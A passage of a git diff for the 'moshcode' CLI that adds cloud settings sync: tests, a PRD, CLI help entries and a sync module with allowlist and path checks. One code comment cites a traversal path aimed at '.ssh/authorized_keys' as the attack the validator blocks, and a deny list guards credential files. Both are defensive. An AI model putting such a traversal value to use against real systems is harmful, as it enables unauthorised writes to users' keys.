await import("../src/routes/settings-sync.mjs"); + const saves = KEEP_REVISIONS + 4; + for (let i = 1; i <= saves; i++) { + const res = await one("PUT", "/api/settings", { snapshot: snapshot({ "aliases.json": { content: `{"n":"${i}"}` } }) }); + assert.equal(res.body.revision, i); + } + const list = await one("GET", "/api/settings/revisions"); + assert.equal(list.body.revisions.length, KEEP_REVISIONS); + assert.equal(list.body.revisions[0].revision, saves, "newest first"); + assert.equal(list.body.revisions.at(-1).revision, saves - KEEP_REVISIONS + 1); + + const current = await one("GET", "/api/settings"); + assert.deepEqual(current.body.snapshot.files, { "aliases.json": { content: `{"n":"${saves}"}` } }); + } finally { server.close(); } +}); + +test("one account cannot read or overwrite another's settings", { skip }, async () => { + const { server, one, two, reset } = await boot(); + try { + await reset(); + await one("PUT", "/api/settings", { snapshot: snapshot(ALIASES) }); + assert.equal((await two("GET", "/api/settings")).status, 404, "the second account has its own, empty, settings"); + + const theirs = await two("PUT", "/api/settings", { snapshot: snapshot({ "aliases.json": { content: '{"theirs":"1"}' } }) }); + assert.equal(theirs.body.revision, 1, "revisions are per account, not global"); + + const mine = await one("GET", "/api/settings"); + assert.deepEqual(mine.body.snapshot.files, ALIASES, "the other account's save must not be visible here"); + } finally { server.close(); } +}); + +test("no key, no settings", { skip }, async () => { + const { server, reset } = await boot(); + try { + await reset(); + const anonymous = (method, route, body) => new Promise((resolve, reject) => { + const payload = body === undefined ? null : JSON.stringify(body); + const req = http.request({ + host: "127.0.0.1", port: server.address().port, method, path: route, + headers: payload ? { "content-type": "application/json", "content-length": Buffer.byteLength(payload) } : {}, + }, (res) => { res.resume(); res.on("end", () => resolve({ status: res.statusCode })); }); + req.on("error", reject); + if (payload) req.write(payload); + req.end(); + }); + assert.equal((await anonymous("GET", "/api/settings")).status, 401); + assert.equal((await anonymous("PUT", "/api/settings", { snapshot: snapshot(ALIASES) })).status, 401); + assert.equal((await anonymous("GET", "/api/settings/revisions")).status, 401); + } finally { server.close(); } +}); + +test("the page lists file names, never their contents", { skip }, async () => { + const { fileNames } = await import("../src/routes/settings-sync.mjs"); + const body = JSON.stringify(snapshot({ "herd/rules.json": { content: "{}" }, "aliases.json": { content: "SECRET" } })); + assert.deepEqual(fileNames(body), ["aliases.json", "herd/rules.json"]); + assert.deepEqual(fileNames("{not json"), []); +}); diff --git a/bin/moshcode.mjs b/bin/moshcode.mjs index 99b73db..f4f48e4 100755 --- a/bin/moshcode.mjs +++ b/bin/moshcode.mjs @@ -26,6 +26,7 @@ import { canOpenBrowser, openBrowser } from "../src/open-url.mjs"; import { locate, tilde } from "../src/pwd.mjs"; import { createPrd, listPrds, authoringPrompt } from "../src/prd.mjs"; import { loginAuto, whoami, logout } from "../src/auth.mjs"; +import { loadCommand, saveCommand } from "../src/settings-sync.mjs"; import { tui } from "../src/tui.mjs"; import { consoleCommand } from "../src/console.mjs"; import { herdCommand, herdStart, splitDetachArgs } from "../src/herd-cli.mjs"; @@ -609,6 +610,8 @@ async function main() { return; } if (cmd === "logout") { logout(); return; } + if (cmd === "save") { process.exitCode = await saveCommand(rest); return; } + if (cmd === "load") { process.exitCode = await loadCommand(rest); return; } if (cmd === "run") { let max = 3, dryRun = false; let optionsEnded = false; diff --git a/prd/0010-cloud-settings-sync.md b/prd/0010-cloud-settings-sync.md new file mode 100644 index 0000000..c1e3d50 --- /dev/null +++ b/prd/0010-cloud-settings-sync.md @@ -0,0 +1,132 @@ +--- +openprd: "0.2" +id: "0010" +title: "Sync the pit's settings to your moshcode.sh account" +status: Draft +authors: + - anthony@profullstack.com +created: 2026-08-11 +updated: 2026-08-11 +repo: https://github.com/moshcoder/moshcode +discussion: +implementation: src/settings-sync.mjs · apps/pwa/src/routes/settings-sync.mjs +tags: account, settings, sync +supersedes: +superseded-by: +--- + +## Problem + +A pit becomes yours by accretion. You add `/alias set gs "git status"`, then a +dozen more; you tune the herd's rules until it stops calling a working agent +blocked. None of it is in a repo, none of it is in a dotfile anyone syncs, and +all of it lives in `~/.moshcode` on exactly one machine. + +So the second machine is a stranger. A new laptop, a fresh container, a droplet +you SSH into to babysit an agent, a reinstall after a disk swap — each one starts +from nothing, and the muscle memory built at the first prompt does not work at +the second. People already log in to `app.moshcode.sh` (`/login`) for approvals, +notifications and the session mirror, so the account that could hold this +configuration is already there and already paired with every machine. + +## Goals + +- Moving to a new machine costs `/login` and `/load`, not an afternoon of + remembering what you had. +- A person can see what is stored on their account, and delete it, from the web. +- Nobody is ever surprised by a settings overwrite — not from another machine, + and not over their own uncommitted edits. +- No credential, key or token is ever part of what syncs, and that fact is + enforced by a test rather than by care. + +## Non-Goals + +- Continuous or background sync. Settings are edited by a person at a moment they + can name; a daemon that pushes silently is a daemon that overwrites silently. +- Syncing engine configuration (`~/.claude.json`, `~/.codex`, MCP registrations). + Those files carry provider API keys and are owned by other tools' schemas. +- Syncing machine state: live herd sessions, the package cache, shell history. + None of it means anything on a different box. +- Merging. Two divergent settings files are resolved by a person choosing one, + not by a three-way merge of someone's aliases. + +## Users + +- **The multi-machine moshcoder** — laptop, desktop, a dev box, and a container + per project. Wants the same prompt everywhere. +- **The reinstaller** — new OS, same person. Wants their aliases back. +- **The team lead** — one account, several machines, and a strong preference for + never explaining to a colleague why their aliases disappeared. + +## Requirements + +- R1 [P0] `/save` (and `moshcode save`) uploads this machine's pit settings to the + logged-in account. `/load` (`moshcode load`) brings them back down. +- R2 [P0] What syncs is an allowlist, not a directory walk: `aliases.json` and + `herd/rules.json` today. `credentials.json`, `herd/sessions.json`, `sync.json` + and `pkg/` are named as never-synced and asserted in tests. +- R3 [P0] Each save is a numbered revision. `/save` sends the revision it last + agreed on and the app refuses the write if the account has moved past it, so + two machines cannot silently erase one another. +- R4 [P0] `/load` refuses to overwrite a settings file that changed locally since + the last sync, and names the file. `--force` overrides; `--dry-run` shows the + per-file plan and writes nothing. +- R5 [P0] Every path in a downloaded snapshot is re-checked against the allowlist + before anything is written. A snapshot is data from the network, and an + unchecked path in it makes `/load` a remote write primitive. +- R6 [P1] The app keeps the last ten revisions, shows them at + `/settings/sync` with the machine and time each came from, and can promote an + older one to current. +- R7 [P1] `--json` on both verbs, so a provisioning script can act on the result. +- R8 [P1] A snapshot records which engines and tools the source machine had + installed. `/load` names the missing ones as a suggestion; it never installs. +- R9 [P2] Not logged in, session expired, nothing saved yet, conflict: each is a + sentence naming the command that resolves it (`/login`, `/save`, `/load`, + `--force`). + +## UX Notes + +``` +mosh ▸ /save + ✓ saved 2 files to you@example.com (revision 3) + aliases.json pit aliases + herd/rules.json herd state rules + on another machine: `/login` then `/load` + +mosh ▸ /load # on the new box + loaded revision 3 from dev — 2 files written + added aliases.json + added herd/rules.json + that machine also had codex, gh — `/install ` to match it + +mosh ▸ /load # after editing aliases locally + 1 local file changed since this machine last synced: + aliases.json + `/save` to keep them, `/load --force` to replace them, `/load --dry-run` to see the difference +``` + +The pit never blocks on this: both verbs are one request and some printing, so +readline keeps the prompt. `~/.moshcode/sync.json` remembers the revision and a +per-file digest — that digest is what separates "someone else saved" from "you +edited this five minutes ago", which want opposite answers. + +## Success Metrics + +- A fresh machine reaches a familiar prompt in two commands (`/login`, `/load`). +- Zero settings-loss reports: every destructive path is either refused or + recoverable from `/settings/sync`. +- No credential ever appears in a stored snapshot (asserted, not audited). + +## Risks & Open Questions + +- **Scope creep into secrets.** The most-requested next file will be an engine + config that holds an API key. Holding the line — settings, never credentials — + is what keeps `/load` safe to run on a machine you share. +- **Ten revisions is a guess.** Cheap to raise; it exists so a bad `/save` from + the wrong machine is recoverable at all. +- **A snapshot version bump.** Handled by refusing to read a newer snapshot and + naming `moshcode upgrade`, rather than by guessing at a shape this build has + never seen. +- **Should `/load` be able to pick a revision?** The app stores ten and the web + page can promote one, which covers recovery without adding a flag that takes a + number. Open if people ask for `--revision`. diff --git a/prd/README.md b/prd/README.md index d610016..d58ad64 100644 --- a/prd/README.md +++ b/prd/README.md @@ -25,4 +25,5 @@ Start one with `moshcode prd ""` (TUI: `/prd`). | [0007](0007-profullstack-site-init.md) | Generate batteries-included Profullstack sites for Moshpit names | Draft | | [0008](0008-ticker-research-and-plugin-marketplace.md) | Bring equity research into the pit, and ship the pit's slash commands as a plugin | Draft | | [0009](0009-persistent-agent-runtime.md) | Keep the herd alive — a persistent runtime, semantic agent state, and one control surface for humans and agents | Accepted | +| [0010](0010-cloud-settings-sync.md) | Sync the pit's settings to your moshcode.sh account | Draft | diff --git a/src/cli-schema.mjs b/src/cli-schema.mjs index 3883140..81d612f 100644 --- a/src/cli-schema.mjs +++ b/src/cli-schema.mjs @@ -278,6 +278,43 @@ export const CORE_CLI_COMMANDS = [ synopsis: [["moshcode logout", ""]], seeAlso: ["login"], }, + { + name: "save", + group: "account", + description: "save this machine's pit settings to your account", + synopsis: [["moshcode save [--dry-run] [--force] [--json]", ""]], + flags: [ + ["--dry-run", "list what would be saved and stop", ""], + ["--force", "save even if another machine saved after this one last synced", ""], + ["--json", "machine-readable result", ""], + ], + examples: [ + ["moshcode save", "push aliases + herd rules to app.moshcode.sh"], + ["moshcode save --dry-run", "what would go up"], + ], + seeAlso: ["load", "login", "alias"], + note: "aliases (~/.moshcode/aliases.json) and herd rules (~/.moshcode/herd/rules.json). " + + "credentials, live herd state and the package cache are never included. " + + "each save is a numbered revision; the last ten are kept at app.moshcode.sh/settings/sync.", + }, + { + name: "load", + group: "account", + description: "bring your saved pit settings onto this machine", + synopsis: [["moshcode load [--dry-run] [--force] [--json]", ""]], + flags: [ + ["--dry-run", "show the per-file plan and change nothing", ""], + ["--force", "overwrite local settings that changed since the last sync", ""], + ["--json", "machine-readable result", ""], + ], + examples: [ + ["moshcode load", "on a new machine, right after moshcode login"], + ["moshcode load --dry-run", "which files would change"], + ], + seeAlso: ["save", "login", "alias"], + note: "refuses rather than overwriting a local file you edited since the last sync — " + + "`moshcode save` to keep it, or --force to replace it.", + }, { name: "console", group: "account", @@ -891,6 +928,10 @@ export const PIT_COMMANDS = [ { name: "whoami", cli: "whoami", description: "who this machine is logged in as" }, // Dispatched since forever and missing from /help until now. { name: "logout", cli: "logout", description: "clear the logged-in account" }, + { name: "save", args: "[--dry-run] [--force]", cli: "save", + description: "save this pit's settings to your moshcode.sh account" }, + { name: "load", args: "[--dry-run] [--force]", cli: "load", + description: "bring your saved settings onto this machine" }, { name: "pwd", aliases: ["where"], cli: "pwd", description: "show the current dir + git repo/branch/origin" }, { name: "shell", aliases: ["sh"], args: "[cmd]", pitOnly: true, diff --git a/src/settings-sync.mjs b/src/settings-sync.mjs new file mode 100644 index 0000000..0ea1f6b --- /dev/null +++ b/src/settings-sync.mjs @@ -0,0 +1,659 @@ +// Cloud sync for the pit's own settings — `/save` and `/load`. +// +// The pit accumulates configuration the way a shell rc does: aliases you built +// up over months, herd rules you tuned for your agents. All of it lives under +// ~/.moshcode on one machine, which means a new laptop, a fresh container, or a +// reinstall starts from nothing and the pit feels like someone else's. +// +// `/save` pushes that configuration to your app.moshcode.sh account and `/load` +// brings it back down. Two verbs rather than a background daemon: settings are +// edited by a person, at a moment they can name, and a sync that runs on its own +// is a sync that overwrites something you meant to keep at a moment you can't. +// +// Three rules the rest of this file exists to enforce: +// +// 1. An allowlist, never a directory walk. ~/.moshcode also holds +// credentials.json — the API token this very feature authenticates with — +// plus live herd state and a package cache. A walk that gains a file gains +// it silently; an allowlist has to be edited on purpose, in a diff someone +// reviews. NEVER_SYNCED is asserted on top of it so the review can't slip. +// 2. The allowlist is checked again on the way *in*. The response is data from +// the network, and a path in it is a path this process would write: without +// the second check a bad snapshot spells `../../.ssh/authorized_keys` and +// `/load` is a remote write primitive. +// 3. A revision, and refusal. Two machines both saving means one of them +// loses; the pit says so and asks, rather than picking for you. +import crypto from "node:crypto"; +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; +import { loadCreds } from "./auth.mjs"; +import { engineStatus } from "./engines.mjs"; +import { toolStatus } from "./tools.mjs"; +import { ash, moshcodeVersion } from "./ui.mjs"; + +/** The snapshot shape this build writes and is willing to read. */ +export const SNAPSHOT_VERSION = 1; + +/** Owner-only, like everything else moshcode keeps under ~/.moshcode. */ +const FILE_MODE = 0o600; +const DIR_MODE = 0o700; + +/** + * One file at a time, and the whole snapshot. Generous for configuration — + * aliases.json is a few hundred bytes — and small enough that a stray heredoc + * pasted into a config file can't push a megabyte into your account, or arrive + * from it. + */ +export const MAX_FILE_BYTES = 64 * 1024; +export const MAX_TOTAL_BYTES = 256 * 1024; + +/** + * What syncs, keyed by its path relative to ~/.moshcode. + * + * `json: true` means the file is parsed before it is sent and again before it is + * written. A settings sync that faithfully copies a broken aliases.json to every + * machine you own has taken one dead prompt and made it four. + */ +export const SYNCED_FILES = [ + { path: "aliases.json", json: true, label: "pit aliases" }, + { path: "herd/rules.json", json: true, label: "herd state rules" }, +]; + +/** + * Paths that must never appear in a snapshot, whichever direction it is moving. + * + * Redundant with the allowlist today, and deliberately so: this is the assertion + * that survives someone adding a convenient-looking entry above. `credentials.json` + * is the account token — syncing it to the account would hand every machine that + * ran `/load` a credential it was never issued. `herd/sessions.json` is live + * state pinned to one tmux server, `pkg/` is a binary cache, and `*.sock` / + * `*.pid` describe processes on exactly one box. + */ +export const NEVER_SYNCED = [ + "credentials.json", + "sync.json", + "herd/sessions.json", + "herd/hook.json", +]; + +/** True for a path this build is willing to read or write. */ +export function isSyncable(relative) { + const name = String(relative ?? ""); + if (NEVER_SYNCED.includes(name)) return false; + if (name.startsWith("pkg/")) return false; + return SYNCED_FILES.some((f) => f.path === name); +} + +export function moshcodeDir(home = os.homedir()) { + return path.join(home, ".moshcode"); +} + +/** + * Where the last sync is remembered: the revision we agreed with the server and + * the digest of the files as they were at that moment. + * + * That digest is the whole mechanism behind "you have local changes". Without it + * `/load` can tell that local and remote differ but not *why* — and "differ" is + * both "someone else saved from another machine" and "you edited this file five + * minutes ago", which want opposite answers. + */ +export function markerPath(home = os.homedir()) { + return path.join(moshcodeDir(home), "sync.json"); +} + +export function loadMarker(home = os.homedir()) { + try { + const parsed = JSON.parse(fs.readFileSync(markerPath(home), "utf8")); + if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) return null; + return parsed; + } catch { return null; } +} + +export function saveMarker(marker, home = os.homedir()) { + const file = markerPath(home); + fs.mkdirSync(path.dirname(file), { recursive: true, mode: DIR_MODE }); + fs.writeFileSync(file, `${JSON.stringify(marker, null, 2)}\n`, { mode: FILE_MODE }); + try { fs.chmodSync(file, FILE_MODE); } catch { /* best effort */ } +} + +/** + * The digest of a set of files, over their names and contents. + * + * Canonical by construction — names sorted, every field framed by a NUL and + * preceded by its byte length — so the same files digest the same on every + * machine regardless of the order they were read in, and no content can be + * arranged to look like a different file list. NUL rather than a space because a + * space appears in file contents and a NUL does not appear in text config at + * all. + * + * The app computes the same digest over the same bytes + * (apps/pwa/src/routes/settings-sync.mjs). Both sides pin the value for a fixed + * input in their tests, because two implementations of one hash that quietly + * disagree is a comparison that silently stops meaning anything. + */ +export function digestFiles(files) { + const hash = crypto.createHash("sha256"); + for (const name of Object.keys(files).sort()) { + const content = String(files[name]?.content ?? ""); + hash.update(`${name}\0${Buffer.byteLength(content)}\0${content}\0`); + } + return hash.digest("hex"); +} + +/** Engines and tools this machine has, by name. Informational, never applied. */ +function installedHere() { + const names = (rows) => rows.filter((r) => r.installed).map((r) => r.key).sort(); + try { + return { engines: names(engineStatus()), tools: names(toolStatus()) }; + } catch { return { engines: [], tools: [] }; } +} + +/** + * Read the local settings into a snapshot. + * + * Returns `{ snapshot, included, skipped }`. A file that is missing is simply + * absent — most people have never written herd/rules.json — while one that is + * present and unusable (too big, not the JSON it claims to be) is reported so + * the reason is visible rather than looking like it synced. + */ +export function collectSnapshot({ + home = os.homedir(), + hostname = os.hostname(), + version = moshcodeVersion(), + installed = installedHere(), +} = {}) { + const dir = moshcodeDir(home); + const files = {}; + const included = []; + const skipped = []; + let total = 0; + + for (const entry of SYNCED_FILES) { + const file = path.join(dir, entry.path); + let content; + try { content = fs.readFileSync(file, "utf8"); } + catch { continue; } // not here — nothing to say about it + const bytes = Buffer.byteLength(content); + if (bytes > MAX_FILE_BYTES) { + skipped.push({ path: entry.path, reason: `${bytes} bytes — the cap is ${MAX_FILE_BYTES}` }); + continue; + } + if (entry.json) { + try { JSON.parse(content); } + catch { skipped.push({ path: entry.path, reason: "not valid JSON — fix it locally first" }); continue; } + } + if (total + bytes > MAX_TOTAL_BYTES) { + skipped.push({ path: entry.path, reason: "the snapshot is already at its size cap" }); + continue; + } + total += bytes; + files[entry.path] = { content }; + included.push({ path: entry.path, bytes, label: entry.label }); + } + + const snapshot = { + version: SNAPSHOT_VERSION, + host: String(hostname || "").slice(0, 60) || null, + moshcode: version || null, + installed, + files, + }; + return { snapshot, included, skipped }; +} + +/** + * Check a snapshot that came off the network before anything is written. + * + * Returns `{ ok, error, files, rejected }`. Rejection is per-file and reported + * rather than fatal: a newer moshcode that syncs one more file must not make + * `/load` unusable on this one, so an unknown name is dropped with its reason + * and the files this build does understand still land. + */ +export function validateSnapshot(snapshot) { + if (!snapshot || typeof snapshot !== "object" || Array.isArray(snapshot)) { + return { ok: false, error: "the saved settings are not a snapshot", files: {}, rejected: [] }; + } + if (Number(snapshot.version) > SNAPSHOT_VERSION) { + return { + ok: false, + files: {}, + rejected: [], + error: `these settings were saved by a newer moshcode (snapshot v${snapshot.version}) — run \`moshcode upgrade\` first`, + }; + } + const raw = snapshot.files; + if (!raw || typeof raw !== "object" || Array.isArray(raw)) { + return { ok: false, error: "the snapshot carries no files", files: {}, rejected: [] }; + } + + const files = {}; + const rejected = []; + let total = 0; + for (const [name, value] of Object.entries(raw)) { + // Every reason a name can be refused, in one place. `isSyncable` is the + // allowlist; the checks around it catch the shapes that never reach it — + // an absolute path, a traversal, a non-string body. + if (typeof name !== "string" || !name || name !== path.posix.normalize(name) + || path.posix.isAbsolute(name) || name.includes("..") || name.includes("\\")) { + rejected.push({ path: String(name), reason: "not a settings path" }); + continue; + } + if (!isSyncable(name)) { rejected.push({ path: name, reason: "this moshcode does not sync that file" }); continue; } + const content = value?.content; + if (typeof content !== "string") { rejected.push({ path: name, reason: "no contents" }); continue; } + const bytes = Buffer.byteLength(content); + if (bytes > MAX_FILE_BYTES) { rejected.push({ path: name, reason: `${bytes} bytes — the cap is ${MAX_FILE_BYTES}` }); continue; } + if (total + bytes > MAX_TOTAL_BYTES) { rejected.push({ path: name, reason: "past the snapshot size cap" }); continue; } + const entry = SYNCED_FILES.find((f) => f.path === name); + if (entry?.json) { + try { JSON.parse(content); } + catch { rejected.push({ path: name, reason: "not valid JSON — refusing to write it" }); continue; } + } + total += bytes; + files[name] = { content }; + } + return { ok: true, error: null, files, rejected }; +} + +/** + * What `/load` would do, file by file: `new`, `changed` or `same`. + * + * Computed before anything is written so --dry-run and the real thing report the + * same plan, and so "nothing to do" is an answer rather than four no-op writes. + */ +export function planApply(files, { home = os.homedir() } = {}) { + const dir = moshcodeDir(home); + return Object.keys(files).sort().map((name) => { + let current = null; + try { current = fs.readFileSync(path.join(dir, name), "utf8"); } catch { /* absent */ } + const content = files[name].content; + return { + path: name, + action: current === null ? "new" : current === content ? "same" : "changed", + bytes: Buffer.byteLength(content), + }; + }); +} + +/** Write the snapshot's files. Returns the plan, with `written` marked. */ +export function applyFiles(files, { home = os.homedir() } = {}) { + const dir = moshcodeDir(home); + const plan = planApply(files, { home }); + for (const item of plan) { + if (item.action === "same") continue; + const file = path.join(dir, item.path); + fs.mkdirSync(path.dirname(file), { recursive: true, mode: DIR_MODE }); + // Written beside the target and renamed over it: a settings file truncated + // by a full disk halfway through a write is a prompt that no longer starts. + const temp = `${file}.${process.pid}.tmp`; + fs.writeFileSync(temp, files[item.path].content, { mode: FILE_MODE }); + fs.renameSync(temp, file); + try { fs.chmodSync(file, FILE_MODE); } catch { /* best effort */ } + item.written = true; + } + return plan; +} + +/** + * Which local files have drifted from the last sync. + * + * Names, not a boolean, because that list is the message: "aliases.json changed + * since you last saved" is actionable and "local and remote differ" is not. + */ +export function localDrift({ home = os.homedir() } = {}) { + const marker = loadMarker(home); + const { snapshot } = collectSnapshot({ home, installed: { engines: [], tools: [] } }); + const digest = digestFiles(snapshot.files); + if (!marker?.digest) return { known: false, drifted: true, digest, files: Object.keys(snapshot.files).sort() }; + if (marker.digest === digest) return { known: true, drifted: false, digest, files: [] }; + const before = marker.files && typeof marker.files === "object" ? marker.files : null; + const files = before + ? [...new Set([...Object.keys(before), ...Object.keys(snapshot.files)])] + .filter((name) => (before[name] ?? null) !== fileDigest(snapshot.files[name])) + .sort() + : Object.keys(snapshot.files).sort(); + return { known: true, drifted: true, digest, files }; +} + +/** Per-file digest, so the marker can name which file moved rather than just that one did. */ +function fileDigest(entry) { + if (!entry || typeof entry.content !== "string") return null; + return crypto.createHash("sha256").update(entry.content).digest("hex"); +} + +/** The marker to write after a successful push or pull. */ +export function markerFor({ revision, digest, files, host = os.hostname(), api }) { + return { + revision: Number(revision), + digest, + at: Date.now(), + host: String(host || "").slice(0, 60) || null, + api: api || null, + files: Object.fromEntries(Object.keys(files).sort().map((name) => [name, fileDigest(files[name])])), + }; +} + +/* ------------------------------------------------------------------ transport */ + +const DEFAULT_API = "https://app.moshcode.sh"; + +function endpoint(creds) { + return (process.env.MOSHCODE_API || creds?.api || DEFAULT_API).replace(/\/+$/, ""); +} + +/** + * A request against the settings API, with every failure turned into a value. + * + * `{ ok, status, body, error }`. The callers here print a line and set an exit + * code; a thrown network error inside the pit's dispatch loop would take the + * prompt down instead, which is a lost session over a dropped wifi connection. + */ +async function request(method, route, { creds, body = null, fetchImpl = fetch, timeoutMs = 20_000 } = {}) { + const controller = new AbortController(); + const timer = setTimeout(() => controller.abort(), timeoutMs); + try { + const res = await fetchImpl(`${endpoint(creds)}${route}`, { + method, + headers: { + "content-type": "application/json", + authorization: `Bearer ${creds?.token}`, + }, + body: body === null ? undefined : JSON.stringify(body), + signal: controller.signal, + }); + const text = await res.text().catch(() => ""); + let parsed = null; + try { parsed = text ? JSON.parse(text) : null; } catch { /* not JSON — reported as a status */ } + return { ok: res.ok, status: res.status, body: parsed, error: null }; + } catch (e) { + const aborted = e?.name === "AbortError"; + return { ok: false, status: 0, body: null, error: aborted ? "the app did not answer in time" : "could not reach the app" }; + } finally { + clearTimeout(timer); + } +} + +export const pushSnapshot = (snapshot, { ifRevision = null, ...opts }) => + request("PUT", "/api/settings", { ...opts, body: { snapshot, ifRevision } }); + +export const pullSnapshot = (opts) => request("GET", "/api/settings", opts); + +export const listRevisions = (opts) => request("GET", "/api/settings/revisions", opts); + +/* ------------------------------------------------------------------- commands */ + +const plural = (n, one, many = `${one}s`) => `${n} ${n === 1 ? one : many}`; + +function whenever(at) { + const seconds = Math.max(0, Math.floor((Date.now() - Number(at)) / 1000)); + if (!Number.isFinite(seconds)) return "at an unknown time"; + if (seconds < 60) return `${seconds}s ago`; + if (seconds < 3600) return `${Math.floor(seconds / 60)}m ago`; + if (seconds < 86400) return `${Math.floor(seconds / 3600)}h ago`; + return `${Math.floor(seconds / 86400)}d ago`; +} + +/** The flags both verbs share, plus whatever the caller adds. */ +function parseFlags(argv, allowed) { + const flags = new Set(); + const unknown = []; + for (const arg of argv) { + const name = String(arg); + if (allowed.includes(name)) flags.add(name); + else unknown.push(name); + } + return { flags, unknown }; +} + +const notLoggedIn = (write) => { + write("not logged in — run `/login` (or `moshcode login`) first"); + write(" settings sync stores your configuration on your app.moshcode.sh account"); +}; + +/** + * `/save` — push the local settings to the account. + * + * Returns an exit code, the convention every other command module here uses, so + * `moshcode save` in a script can be tested for having worked. + */ +export async function saveCommand(argv = [], { + home = os.homedir(), + creds = loadCreds(), + fetchImpl = fetch, + write = (line) => console.log(line), + hostname = os.hostname(), + version = moshcodeVersion(), + installed = installedHere(), +} = {}) { + const { flags, unknown } = parseFlags(argv, ["--dry-run", "--force", "--json"]); + if (unknown.length) { + write(`unknown option ${unknown[0]} — usage: save [--dry-run] [--force] [--json]`); + return 1; + } + const json = flags.has("--json"); + const emit = (value) => { write(JSON.stringify(value, null, 2)); }; + + const { snapshot, included, skipped } = collectSnapshot({ home, hostname, version, installed }); + const digest = digestFiles(snapshot.files); + + if (!included.length) { + if (json) emit({ status: "nothing_to_save", files: [], skipped }); + else { + write("nothing to save yet — the pit has no settings on this machine"); + write(' make one first: `/alias set gs "git status"`'); + for (const s of skipped) write(` skipped ${s.path} — ${s.reason}`); + } + return 0; + } + + if (!creds?.token) { + if (json) emit({ status: "not_logged_in", files: included }); + else notLoggedIn(write); + return 1; + } + + const marker = loadMarker(home); + if (flags.has("--dry-run")) { + if (json) emit({ status: "dry_run", digest, revision: marker?.revision ?? null, files: included, skipped }); + else { + write(`would save ${plural(included.length, "file")} to ${endpoint(creds)}:`); + for (const f of included) write(` ${f.path} ${ash(`${f.bytes}b · ${f.label}`)}`); + for (const s of skipped) write(` skipped ${s.path} — ${s.reason}`); + } + return 0; + } + + // "Nothing changed" is the account's answer, not this machine's guess. The app + // recognises a byte-identical snapshot and hands back the revision it already + // holds without inserting one, so an unchanged `/save` still costs no history — + // and a machine whose local marker has gone stale (someone deleted the saved + // settings from the web) finds out instead of insisting it is up to date. + const res = await pushSnapshot(snapshot, { + creds, + fetchImpl, + // The revision we last agreed on. The server refuses the write if it has + // moved on, which is the whole conflict story: another machine saved, and + // this push would erase it silently. + ifRevision: flags.has("--force") ? null : (Number.isFinite(Number(marker?.revision)) ? Number(marker.revision) : null), + }); + + if (res.status === 409) { + const theirs = res.body?.revision; + if (json) emit({ status: "conflict", revision: theirs ?? null, mine: marker?.revision ?? null }); + else if (Number(theirs) === 0) { + // Not a race: the account's saved settings were deleted (the web page's + // "forget"), so there is nothing to lose and nothing to load. + write(`the account has no saved settings — this machine last saw revision ${marker?.revision ?? "none"}`); + write(" `/save --force` to save this machine's settings as the new revision 1"); + } else { + write(`another machine saved first — the account is at revision ${theirs ?? "?"}, this one last saw ${marker?.revision ?? "none"}`); + write(" `/load` to take theirs, or `/save --force` to overwrite it with this machine's settings"); + } + return 1; + } + if (res.status === 401) { + if (json) emit({ status: "expired" }); + else write("the app rejected this machine's credentials — run `/login` again"); + return 1; + } + if (!res.ok || !res.body?.revision) { + if (json) emit({ status: "failed", error: res.error, http: res.status || null }); + else write(`could not save: ${res.error || `the app returned ${res.status}`}`); + return 1; + } + + saveMarker(markerFor({ + revision: res.body.revision, + digest, + files: snapshot.files, + host: hostname, + api: endpoint(creds), + }), home); + + if (res.body.unchanged) { + if (json) emit({ status: "unchanged", revision: res.body.revision, digest, files: included, skipped }); + else write(`already saved — revision ${res.body.revision} holds these exact files${res.body.savedAt ? `, from ${whenever(res.body.savedAt)}` : ""}`); + return 0; + } + + if (json) { + emit({ status: "saved", revision: res.body.revision, digest, files: included, skipped }); + return 0; + } + write(`saved ${plural(included.length, "file")} to ${creds.email || "your account"} ${ash(`(revision ${res.body.revision})`)}`); + for (const f of included) write(` ${f.path} ${ash(f.label)}`); + for (const s of skipped) write(` skipped ${s.path} — ${s.reason}`); + write(ash(" on another machine: `/login` then `/load`")); + return 0; +} + +/** `/load` — bring the account's settings down onto this machine. */ +export async function loadCommand(argv = [], { + home = os.homedir(), + creds = loadCreds(), + fetchImpl = fetch, + write = (line) => console.log(line), + hostname = os.hostname(), + installed = installedHere(), +} = {}) { + const { flags, unknown } = parseFlags(argv, ["--dry-run", "--force", "--json"]); + if (unknown.length) { + write(`unknown option ${unknown[0]} — usage: load [--dry-run] [--force] [--json]`); + return 1; + } + const json = flags.has("--json"); + const emit = (value) => { write(JSON.stringify(value, null, 2)); }; + + if (!creds?.token) { + if (json) emit({ status: "not_logged_in" }); + else notLoggedIn(write); + return 1; + } + + const res = await pullSnapshot({ creds, fetchImpl }); + if (res.status === 404) { + if (json) emit({ status: "empty" }); + else { + write("nothing saved to this account yet"); + write(" run `/save` on the machine whose settings you want, then `/load` here"); + } + return 1; + } + if (res.status === 401) { + if (json) emit({ status: "expired" }); + else write("the app rejected this machine's credentials — run `/login` again"); + return 1; + } + if (!res.ok) { + if (json) emit({ status: "failed", error: res.error, http: res.status || null }); + else write(`could not load: ${res.error || `the app returned ${res.status}`}`); + return 1; + } + + const { ok: valid, error, files, rejected } = validateSnapshot(res.body?.snapshot); + if (!valid) { + if (json) emit({ status: "invalid", error }); + else write(`could not load: ${error}`); + return 1; + } + const plan = planApply(files, { home }); + const changes = plan.filter((p) => p.action !== "same"); + const revision = res.body?.revision ?? null; + const from = res.body?.snapshot?.host || res.body?.host || null; + + // Local edits that were never saved. Overwriting them is exactly what `/load` + // is for on a fresh machine and exactly what it must not do on a working one, + // and only the person at the prompt knows which this is. + const drift = localDrift({ home }); + const clobbers = drift.drifted + ? changes.filter((c) => c.action === "changed" && (!drift.known || drift.files.includes(c.path))) + : []; + if (clobbers.length && !flags.has("--force") && !flags.has("--dry-run")) { + if (json) emit({ status: "local_changes", revision, files: clobbers.map((c) => c.path) }); + else { + write(`${plural(clobbers.length, "local file")} changed since this machine last synced:`); + for (const c of clobbers) write(` ${c.path}`); + write(" `/save` to keep them, `/load --force` to replace them, `/load --dry-run` to see the difference"); + } + return 1; + } + + if (flags.has("--dry-run")) { + if (json) emit({ status: "dry_run", revision, from, plan, rejected }); + else { + write(changes.length + ? `revision ${revision} from ${from || "another machine"} would change ${plural(changes.length, "file")}:` + : `revision ${revision} from ${from || "another machine"} matches this machine — nothing to do`); + for (const item of plan) write(` ${item.action.padEnd(8)} ${item.path}`); + for (const r of rejected) write(` ignored ${r.path} — ${r.reason}`); + if (clobbers.length) { + write(` ${plural(clobbers.length, "file")} would replace local changes — a plain \`/load\` will ask for --force`); + } + } 